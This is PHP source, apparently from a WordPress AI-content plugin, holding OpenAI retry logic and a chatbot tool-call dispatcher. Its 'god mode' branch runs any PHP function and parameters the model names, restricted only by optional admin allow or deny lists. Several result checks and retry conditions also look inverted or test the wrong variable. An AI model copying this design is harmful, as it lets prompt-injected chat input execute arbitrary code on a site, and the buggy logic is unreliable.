                                        preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                        if(isset($htmlrez[1][0]))
                                        {
                                            $sleep_time = ceil(floatval($htmlrez[1][0]));
                                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                            {
                                                aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                            }
                                            sleep($sleep_time);
                                        }
                                    }
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after type failure: ' . print_r($api_call['body'], true));
                                    if($sleep_time === false)
                                    {
                                        sleep(pow(2, $retry_count));
                                    }
                                    return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI API: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        if(!$stream)
                        {
                            if(!isset($result->choices[0]->text))
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after choices failure: ' . print_r($api_call['body'], true));
                                    sleep(pow(2, $retry_count));
                                    return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                                }
                                else
                                {
                                    if(isset($result->code) && $result->code == 'content_filter')
                                    {
                                        $error = 'Error: The response was filtered by our content management policy.';
                                        return false;
                                    }
                                    else
                                    {
                                        $error = 'Error: Choices not found in initial API result: ' . print_r($result, true);
                                        return false;
                                    }
                                }
                            }
                            else
                            {
                                $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                                apply_filters( 'aiomatic_ai_reply', $result->choices[0]->text, $query );
                                if(isset($result->choices[0]->finish_reason))
                                {
                                    $finish_reason = $result->choices[0]->finish_reason;
                                }
                                else
                                {
                                    $finish_reason = $result->choices[0]->finish_details->type;
                                }
                                if($is_chat == true)
                                {
                                    $chat_max_characters = 16000;
                                    $max_continue_characters = 4000;
                                    if($finish_reason == 'stop')
                                    {
                                        if (empty($result->choices[0]->text) && isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $retry_count)
                                        {
                                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after AI writer ended conversation.');
                                            return aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $stream, $user_question, $embedding_namespace);
                                        }
                                        else
                                        {
                                            return $result->choices[0]->text;
                                        }
                                    }
                                    else
                                    {
                                        $return_text = $result->choices[0]->text;
                                        $aicontent .= $return_text;
                                        $complet_retry_count = 0;
                                        while($finish_reason != 'stop' && strlen($return_text) < $chat_max_characters)
                                        {
                                            if (isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $complet_retry_count)
                                            {
                                                break;
                                            }
                                            $complet_retry_count++;
                                            if(strlen($aicontent) > $max_continue_characters)
                                            {
                                                $aicontent = aiomatic_substr($aicontent, 0, (0 - $max_continue_characters));
                                            }
                                            $aicontent = trim($aicontent);
                                            if(empty($aicontent))
                                            {
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($aicontent));
                                            $available_tokens = $max_tokens - $query_token_count;
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($aicontent);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $aicontent = aiomatic_substr($aicontent, 0, $string_len);
                                                $aicontent = trim($aicontent);
                                                if(empty($aicontent))
                                                {
                                                    break;
                                                }
                                                $query_token_count = count(aiomatic_encode($aicontent));
                                                $available_tokens = $max_tokens - $query_token_count;
                                            }
                                            $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                                            if ( $ok !== true ) {
                                                aiomatic_log_to_file('Rate limited: ' . $ok);
                                                break;
                                            }
                                            $aierror = '';
                                            $generated_text = aiomatic_generate_text_completion($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, 0, $finish_reason, $aierror, true, true, $stream, $user_question, $embedding_namespace);
                                            if($generated_text === false)
                                            {
                                                aiomatic_log_to_file('Chat response completion error: ' . $aierror);
                                                break;
                                            }
                                            else
                                            {
                                                $return_text .= $generated_text;
                                                $aicontent .= $generated_text;
                                            }
                                        }
                                        return $return_text;
                                    }
                                }
                                else
                                {
                                    return $result->choices[0]->text;
                                }
                            }
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                $error = 'Failed to finish API call correctly.';
                return false;
            }
            function aiomatic_call_required_tool($requiredAction) 
            {
                $toolOutputs = [];
                if (isset($requiredAction['submit_tool_outputs']) && isset($requiredAction['submit_tool_outputs']['tool_calls'])) 
                {
                    require_once(__DIR__ . '/res/amazon-direct.php');
                    foreach($requiredAction['submit_tool_outputs']['tool_calls'] as $tc)
                    {
                        if($tc['type'] === 'function')
                        {
                            if (isset($tc['function']['arguments'])) 
                            {
                                $result = '';
                                if (isset($tc['function']['arguments']) && is_string($tc['function']['arguments'])) 
                                {
                                    $targs = json_decode($tc['function']['arguments'], true);
                                    if($targs !== null)
                                    {
                                        $tc['function']['arguments'] = $targs;
                                    }
                                    else
                                    {
                                        $strips = stripslashes($tc['function']['arguments']);
                                        $targs = json_decode($strips, true);
                                        if($targs !== null)
                                        {
                                            $tc['function']['arguments'] = $targs;
                                        }
                                    }
                                }
                            }
                            if ($tc['function']['name'] === 'aiomatic_wp_god_mode')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['called_function_name']))
                                    {
                                        $function_name = $tc['function']['arguments']['called_function_name'];
                                        $params = $tc['function']['arguments']['parameter_array'];
                                        $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['god_whitelisted_functions']) && trim($aiomatic_Chatbot_Settings['god_whitelisted_functions']) != '')
                                        {
                                            $white = trim($aiomatic_Chatbot_Settings['god_whitelisted_functions']);
                                            $white = preg_split('/\r\n|\r|\n/', trim($white));
                                            $white = array_filter($white);
                                            if(!in_array($function_name, $white))
                                            {
                                                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                                {
                                                    aiomatic_log_to_file('Function call not allowed (assistant), not whitelisted: ' . $function_name);
                                                }
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'output' => 'You are not allowed to call this function (not on the whitelisted functions list)'
                                                ];
                                                continue;
                                            }
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['god_blacklisted_functions']) && trim($aiomatic_Chatbot_Settings['god_blacklisted_functions']) != '')
                                        {
                                            $black = trim($aiomatic_Chatbot_Settings['god_blacklisted_functions']);
                                            $black = preg_split('/\r\n|\r|\n/', trim($black));
                                            $black = array_filter($black);
                                            if(in_array($function_name, $black))
                                            {
                                                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                                {
                                                    aiomatic_log_to_file('Function call not allowed (assistant), blacklisted: ' . $function_name);
                                                }
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'output' => 'You are not allowed to call this function (on the blacklisted functions list)'
                                                ];
                                                continue;
                                            }
                                        }
                                        if(function_exists($function_name))
                                        {
                                            if(!is_array($params))
                                            {
                                                $jsony = json_decode($params, true);
                                                if($jsony !== null && is_array($jsony))
                                                {
                                                    $params = $jsony;
                                                }
                                                else
                                                {
                                                    if(empty($params))
                                                    {
                                                        $params = array();
                                                    }
                                                    else
                                                    {
                                                        $params = array($params);
                                                    }
                                                }
                                            }
                                            if(isset($params['post_title']) && $function_name == 'wp_insert_post')
                                            {
                                                $params = array($params);
                                            }
                                            $paramsAsString = aiomatic_format_function_params($params);
                                            $reflection = new ReflectionFunction($function_name);
                                            $requiredParamsCount = $reflection->getNumberOfRequiredParameters();
                                            if(is_numeric($requiredParamsCount) && $requiredParamsCount > 0 && count($params) < $requiredParamsCount)
                                            {
                                                $result = $function_name . ' function has ' . $requiredParamsCount .' required parameters, but only ' . count($params) . ' were passed to it.';
                                            }
                                            else
                                            {
                                                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                                {
                                                    aiomatic_log_to_file('Calling function (assistant) ' . $function_name . '(' . $paramsAsString . ')...');
                                                }
                                                $result = call_user_func_array($function_name, $params);
                                            }
                                        }
                                        else
                                        {
                                            $result = $function_name . ' function was not found on the system.';
                                        }
                                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                        {
                                            $paramsAsString = aiomatic_format_function_params($params);
                                            if($result === false)
                                            {
                                                aiomatic_log_to_file('Function (assistant) ' . $function_name . '(' . $paramsAsString . ') - returned false');
                                                $result = $function_name . ' returned false';
                                            }
                                            elseif(empty($result))
                                            {
                                                aiomatic_log_to_file('Function (assistant)' . $function_name . '(' . $paramsAsString . ') - returned an empty response: ' . print_r($result, true));
                                                $result = $function_name . ' returned an empty response';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Function (assistant) ' . $function_name . '(' . $paramsAsString . ') - result: ' . print_r($result, true));
                                            }
                                        }
                                        if(is_object($result) || is_array($result))
                                        {
                                            $result = json_encode($result);
                                        }
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => (string) $result
                                        ];
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'called_function_name parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_image')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['prompt']))
                                    {
                                        $prompt = $tc['function']['arguments']['prompt'];
                                        $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (!isset($aiomatic_Main_Settings['app_id'])) 
                                        {
                                            $aiomatic_Main_Settings['app_id'] = '';
                                        }
                                        $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                                        $appids = array_filter($appids);
                                        $token = $appids[array_rand($appids)];
                                        if (empty($token))
                                        {
                                            aiomatic_log_to_file('You need to enter an OpenAI API key for this to work!');
                                            if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) != '')
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']),
                                                    'output' => trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed'])
                                                ];
                                            }
                                            else
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => 'Image creation failed, please try again later.',
                                                    'output' => 'Image creation failed, please try again later.'
                                                ];
                                            }
                                            continue;
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['ai_image_size']) && trim($aiomatic_Chatbot_Settings['ai_image_size']) != '')
                                        {
                                            $image_size = trim($aiomatic_Chatbot_Settings['ai_image_size']);
                                        }
                                        else
                                        {
                                            $image_size = '512x512';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['ai_image_model']) && trim($aiomatic_Chatbot_Settings['ai_image_model']) != '')
                                        {
                                            $model = trim($aiomatic_Chatbot_Settings['ai_image_model']);
                                        }
                                        else
                                        {
                                            $model = 'dalle2';
                                        }
                                        $aierror = '';
                                        $result = aiomatic_generate_ai_image($token, 1, $prompt, $image_size, 'chatFunctionDalleImage', false, 0, $aierror, $model);
                                        if($result !== false && is_array($result))
                                        {
                                            foreach($result as $tmpimg)
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => '<img class="image_max_w_ai" src="' . $tmpimg . '">',
                                                    'output' => $tmpimg
                                                ];
                                                break;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Failed to generate Dall-E image in AI chatbot: ' . $aierror);
                                            if (isset($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']) != '')
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed']),
                                                    'output' => trim($aiomatic_Chatbot_Settings['god_mode_dalle_failed'])
                                                ];
                                            }
                                            else
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => 'Image creation failed, please try again later.',
                                                    'output' => 'Image creation failed, please try again later.'
                                                ];
                                            }
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'prompt parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_stable_image')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['prompt']))
                                    {
                                        $prompt = $tc['function']['arguments']['prompt'];
                                        if (empty($prompt)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty prompt query provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['ai_image_size_stable']) && trim($aiomatic_Chatbot_Settings['ai_image_size_stable']) != '')
                                        {
                                            $image_size = trim($aiomatic_Chatbot_Settings['ai_image_size_stable']);
                                        }
                                        else
                                        {
                                            $image_size = '512x512';
                                        }
                                        $height = '512';
                                        $width = '512';
                                        if($image_size == '1024x1024')
                                        {
                                            $height = '1024';
                                            $width = '1024';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['stable_model']) && trim($aiomatic_Chatbot_Settings['stable_model']) != '')
                                        {
                                            $model = trim($aiomatic_Chatbot_Settings['stable_model']);
                                        }
                                        else
                                        {
                                            $model = AIOMATIC_STABLE_DEFAULT_MODE;
                                        }
                                        $aierror = '';
                                        $airesult = aiomatic_generate_stability_image($prompt, $height, $width, 'chatFunctionStableImage', 0, false, $aierror, false, $model);
                                        if($result !== false && isset($airesult[1]))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => '<img class="image_max_w_ai" src="' . $airesult[1] . '">',
                                                'output' => $airesult[1]
                                            ];
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Failed to generate Stable Diffusion image in AI chatbot: ' . $aierror);
                                            if (isset($aiomatic_Chatbot_Settings['god_mode_stable_failed']) && trim($aiomatic_Chatbot_Settings['god_mode_stable_failed']) != '')
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => trim($aiomatic_Chatbot_Settings['god_mode_stable_failed']),
                                                    'output' => trim($aiomatic_Chatbot_Settings['god_mode_stable_failed'])
                                                ];
                                            }
                                            else
                                            {
                                                $toolOutputs[] = [
                                                    'tool_call_id' => $tc['id'], 
                                                    'echo' => 'Image creation failed, please try again later.',
                                                    'output' => 'Image creation failed, please try again later.'
                                                ];
                                            }
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'prompt parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_midjourney_image')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['prompt']))
                                    {
                                        $prompt = $tc['function']['arguments']['prompt'];
                                        if (empty($prompt)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty prompt query provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        $height = '1024';
                                        $width = '1024';
                                        $aierror = '';
                                        $airesult = aiomatic_generate_ai_image_midjourney($prompt, $width, $height, 'chatFunctionMidjourneyImage', false, $aierror);
                                        if($result !== false)
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => '<img class="image_max_w_ai" src="' . $airesult . '">',
                                                'output' => $airesult
                                            ];
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Failed to generate Midjourney image in AI chatbot: ' . $aierror);
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => 'Image creation failed, please try again later.',
                                                'output' => 'Image creation failed, please try again later.'
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'prompt parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_stable_video')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['image_url']))
                                    {
                                        $image_url = $tc['function']['arguments']['image_url'];
                                        if (empty($image_url)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty image_url query provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['ai_video_size_stable']) && trim($aiomatic_Chatbot_Settings['ai_video_size_stable']) != '')
                                        {
                                            $image_size = trim($aiomatic_Chatbot_Settings['ai_video_size_stable']);
                                        }
                                        else
                                        {
                                            $image_size = '768x768';
                                        }
                                        $aierror = '';
                                        $response_text = aiomatic_generate_stability_video($image_url, $image_size, 'chatbotStableVideo', 0, false, $aierror, false);
                                        if($response_text !== false && isset($response_text[1]))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => '<div style="padding-bottom:56.25%; position:relative; display:block; width: 100%"><iframe src="' . $response_text[1] . '" width="100%" height="100%" style="position:absolute; top:0; left: 0" allowfullscreen webkitallowfullscreen frameborder="0"></iframe></div>',
                                                'output' => $airesult[1]
                                            ];
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Failed to generate Stable Diffusion video in AI chatbot: ' . $aierror);
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'echo' => 'Video creation failed, please try again later.',
                                                'output' => 'Video creation failed, please try again later.'
                                            ];
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'image_url parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_amazon_listing')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['query']))
                                    {
                                        $asin = $tc['function']['arguments']['query'];
                                        if (empty($asin)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty search query provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['affiliate_id']) && trim($aiomatic_Chatbot_Settings['affiliate_id']) != '')
                                        {
                                            $aff_id = trim($aiomatic_Chatbot_Settings['affiliate_id']);
                                        }
                                        else
                                        {
                                            $aff_id = '';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['target_country']) && trim($aiomatic_Chatbot_Settings['target_country']) != '')
                                        {
                                            $target_country = trim($aiomatic_Chatbot_Settings['target_country']);
                                        }
                                        else
                                        {
                                            $target_country = 'com';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['max_products']) && trim($aiomatic_Chatbot_Settings['max_products']) != '')
                                        {
                                            $max_product_count = trim($aiomatic_Chatbot_Settings['max_products']);
                                        }
                                        else
                                        {
                                            $max_product_count = '3-4';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['sort_results']) && trim($aiomatic_Chatbot_Settings['sort_results']) != '')
                                        {
                                            $amaz_sort_results = trim($aiomatic_Chatbot_Settings['sort_results']);
                                        }
                                        else
                                        {
                                            $amaz_sort_results = 'none';
                                        }
                                        if (isset($aiomatic_Chatbot_Settings['listing_template']) && trim($aiomatic_Chatbot_Settings['listing_template']) != '')
                                        {
                                            $listing_template = trim($aiomatic_Chatbot_Settings['listing_template']);
                                        }
                                        else
                                        {
                                            $listing_template = '%%product_counter%%. %%product_title%% - Desciption: %%product_description%% - Link: %%product_url%% - Price: %%product_price%%';
                                        }
                                        
                                        if(strstr($max_product_count, '-') !== false)
                                        {
                                            $pr_arr = explode('-', $max_product_count);
                                            $minx = trim($pr_arr[0]);
                                            $maxx = trim($pr_arr[1]);
                                            if(is_numeric($minx) && is_numeric($maxx))
                                            {
                                                $max_product_count = rand(intval($minx), intval($maxx));
                                            }
                                            else
                                            {
                                                if(is_numeric($minx))
                                                {
                                                    $max_product_count = intval($minx);
                                                }
                                                elseif(is_numeric($maxx))
                                                {
                                                    $max_product_count = intval($maxx);
                                                }
                                                else
                                                {
                                                    $max_product_count = 100;
                                                }
                                            }
                                        }
                                        if(!empty($max_product_count) && is_numeric($max_product_count))
                                        {
                                            $max_prod = intval($max_product_count);
                                        }
                                        else
                                        {
                                            $max_prod = 100;
                                        }
                                        $amazresult = aiomatic_amazon_get_post($asin, trim($aff_id), $target_country, '', '', $amaz_sort_results, $max_prod, '1', array());
                                        if(is_array($amazresult) && ((isset($amazresult['status']) && $amazresult['status'] == 'nothing') || count($amazresult)))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'No Amazon products found for query: ' . $asin
                                            ];
                                            continue;
                                        }
                                        if(!is_array($amazresult))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'An error occurred while search Amazon for: ' . $asin
                                            ];
                                            continue;
                                        }
                                        $final_result = '';
                                        $counter = 1;
                                        foreach($amazresult as $myprod)
                                        {
                                            $copy_template = $listing_template;
                                            $copy_template = str_replace('%%product_counter%%', $counter, $copy_template);
                                            $copy_template = str_replace('%%product_title%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_title)), $copy_template);
                                            $copy_template = str_replace('%%product_description%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_desc)), $copy_template);
                                            $copy_template = str_replace('%%product_url%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_url)), $copy_template);
                                            $copy_template = str_replace('%%product_price%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_price)), $copy_template);
                                            $copy_template = str_replace('%%product_list_price%%', trim(preg_replace('/\s+/', ' ', $myprod->product_list_price)), $copy_template);
                                            $copy_template = str_replace('%%product_image%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_img)), $copy_template);
                                            $copy_template = str_replace('%%product_cart_url%%', trim(preg_replace('/\s+/', ' ', $myprod->cart_url)), $copy_template);
                                            $copy_template = str_replace('%%product_images_urls%%', trim(preg_replace('/\s+/', ' ', $myprod->product_imgs)), $copy_template);
                                            $copy_template = str_replace('%%product_images%%', trim(preg_replace('/\s+/', ' ', $myprod->product_imgs_html)), $copy_template);
                                            $copy_template = str_replace('%%product_reviews%%', trim(preg_replace('/\s+/', ' ', implode(PHP_EOL, $myprod->item_reviews))), $copy_template);
                                            //new
                                            $copy_template = str_replace('%%product_score%%', trim(preg_replace('/\s+/', ' ', $myprod->item_score)), $copy_template);
                                            $copy_template = str_replace('%%product_language%%', trim(preg_replace('/\s+/', ' ', $myprod->language)), $copy_template);
                                            $copy_template = str_replace('%%product_edition%%', trim(preg_replace('/\s+/', ' ', $myprod->edition)), $copy_template);
                                            $copy_template = str_replace('%%product_pages_count%%', trim(preg_replace('/\s+/', ' ', $myprod->pages_count)), $copy_template);
                                            $copy_template = str_replace('%%product_publication_date%%', trim(preg_replace('/\s+/', ' ', $myprod->publication_date)), $copy_template);
                                            $copy_template = str_replace('%%product_contributors%%', trim(preg_replace('/\s+/', ' ', $myprod->contributors)), $copy_template);
                                            $copy_template = str_replace('%%product_manufacturer%%', trim(preg_replace('/\s+/', ' ', $myprod->manufacturer)), $copy_template);
                                            $copy_template = str_replace('%%product_binding%%', trim(preg_replace('/\s+/', ' ', $myprod->binding)), $copy_template);
                                            $copy_template = str_replace('%%product_product_group%%', trim(preg_replace('/\s+/', ' ', $myprod->product_group)), $copy_template);
                                            $copy_template = str_replace('%%product_rating%%', trim(preg_replace('/\s+/', ' ', $myprod->rating)), $copy_template);
                                            $copy_template = str_replace('%%product_ean%%', trim(preg_replace('/\s+/', ' ', $myprod->eans)), $copy_template);
                                            $copy_template = str_replace('%%product_part_no%%', trim(preg_replace('/\s+/', ' ', $myprod->part_no)), $copy_template);
                                            $copy_template = str_replace('%%product_model%%', trim(preg_replace('/\s+/', ' ', $myprod->model)), $copy_template);
                                            $copy_template = str_replace('%%product_warranty%%', trim(preg_replace('/\s+/', ' ', $myprod->warranty)), $copy_template);
                                            $copy_template = str_replace('%%product_color%%', trim(preg_replace('/\s+/', ' ', $myprod->color)), $copy_template);
                                            $copy_template = str_replace('%%product_is_adult%%', trim(preg_replace('/\s+/', ' ', $myprod->is_adult)), $copy_template);
                                            $copy_template = str_replace('%%product_dimensions%%', trim(preg_replace('/\s+/', ' ', $myprod->dimensions)), $copy_template);
                                            $copy_template = str_replace('%%product_size%%', trim(preg_replace('/\s+/', ' ', $myprod->size)), $copy_template);
                                            $copy_template = str_replace('%%product_unit_count%%', trim(preg_replace('/\s+/', ' ', $myprod->unit_count)), $copy_template);
                                            $counter++;
                                            $final_result .= $copy_template . '\r\n'; 
                                        }
                                        $final_result = trim($final_result);
                                        if(!empty($final_result))
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => $final_result
                                            ];
                                        }
                                        else
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Amazon did not return info for this query: ' . $asin
                                            ];
                                        }
                                    }
                                    else
                                    {
                                        $toolOutputs[] = [
                                            'tool_call_id' => $tc['id'], 
                                            'output' => 'query parameter was not provided'
                                        ];
                                        aiomatic_log_to_file('Failed to decode assistant function calling: ' . print_r($tc, true));
                                    }
                                }
                                else
                                {
                                    $toolOutputs[] = [
                                        'tool_call_id' => $tc['id'], 
                                        'output' => 'Arguments not set for the function call'
                                    ];
                                }
                            }
                            elseif ($tc['function']['name'] === 'aiomatic_amazon_product_details')
                            {
                                if (isset($tc['function']['arguments'])) 
                                {
                                    $result = '';
                                    if(isset($tc['function']['arguments']['query']))
                                    {
                                        $asin = $tc['function']['arguments']['query'];
                                        if (empty($asin)) 
                                        {
                                            $toolOutputs[] = [
                                                'tool_call_id' => $tc['id'], 
                                                'output' => 'Empty search query provided'
                                            ];
                                            continue;
                                        }
                                        $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                                        if (isset($aiomatic_Chatbot_Settings['affiliate_id']) && trim($aiomatic_Chatbot_Settings['affiliate_id']) != '')
                                        {
                                            $aff_id = trim($aiomatic_Chatbot_Settings['affiliate_id']);
                                        }
                                        else
                                        {
